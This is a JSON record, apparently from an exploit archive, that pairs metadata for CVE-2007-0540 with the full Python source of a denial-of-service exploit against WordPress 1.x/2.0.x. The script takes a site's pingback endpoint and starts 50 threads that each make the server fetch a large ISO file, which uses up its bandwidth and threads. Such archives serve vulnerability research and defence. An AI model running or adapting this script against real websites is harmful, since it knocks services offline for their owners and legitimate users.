{"exploit":{"id":"EDB-29522","name":"WordPress Core 1.x/2.0.x - Pingback SourceURI Denial of Service (DoS) / Information Disclosure","description":"WordPress Core 1.x/2.0.x - Pingback SourceURI Denial of Service (DoS) / Information Disclosure","cves":["CVE-2007-0540"],"author":"Blake Matheny","published":"2007-01-24","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/29522","path":"exploits/php/webapps/29522.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-29522.py","vulnerabilities":[{"id":"CVE-2007-0540","state":"PUBLISHED","title":null,"titleSource":null,"description":"WordPress allows remote attackers to cause a denial of service (bandwidth or thread consumption) via pingback service calls with a source URI that corresponds to a file with a binary content type, which is downloaded even though it cannot contain usable pingback data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0540","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0540"},"updatedAt":"2024-08-07T12:19:30.523Z","retrievedAt":"2026-11-27T17:09:15.818Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-29522.png?v=2","url":"https://exploitbin.com/exploits/EDB-29522","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-29522/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-29522/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/env python\n# source: https://web.archive.org/web/2007/https://www.securityfocus.com/bid/22220/info\n\n# WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.\n\n# Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.\n\n# Versions prior to WordPress 2.1 are vulnerable.\n\n# vim:ft=python:fileencoding=utf-8\n#\nfrom xmlrpclib import ServerProxy\nfrom urllib import urlopen\nfrom random import randint\n\tfrom threading import Thread\n\n# Define target\ntargetURL = \"http://www.example.com/file.html\"\nhugeFile  = \"http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d\"\n\n# Fetch Pingback-URL\npingbackURL =  urlopen(targetURL).headers[\"X-Pingback\"]\nprint \"Target URL: %s\\nPingback:   %s\" % (targetURL, pingbackURL)\n\n# Attack\ndef attack():\n  server = ServerProxy(pingbackURL)\n  try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)\n  except: pass\nfor i in range(50):\n  Thread(target=attack).start()\nprint \"-- attacking --\"","sha256":"b0396dff93a5f298571a6c2255bdd5c6f736ba48783725f059b4518f7ffaa4d3","bytes":1118,"fetchedAt":"2026-11-27T17:09:11.114Z","encoding":"utf-8 (display only; download retains original bytes)"}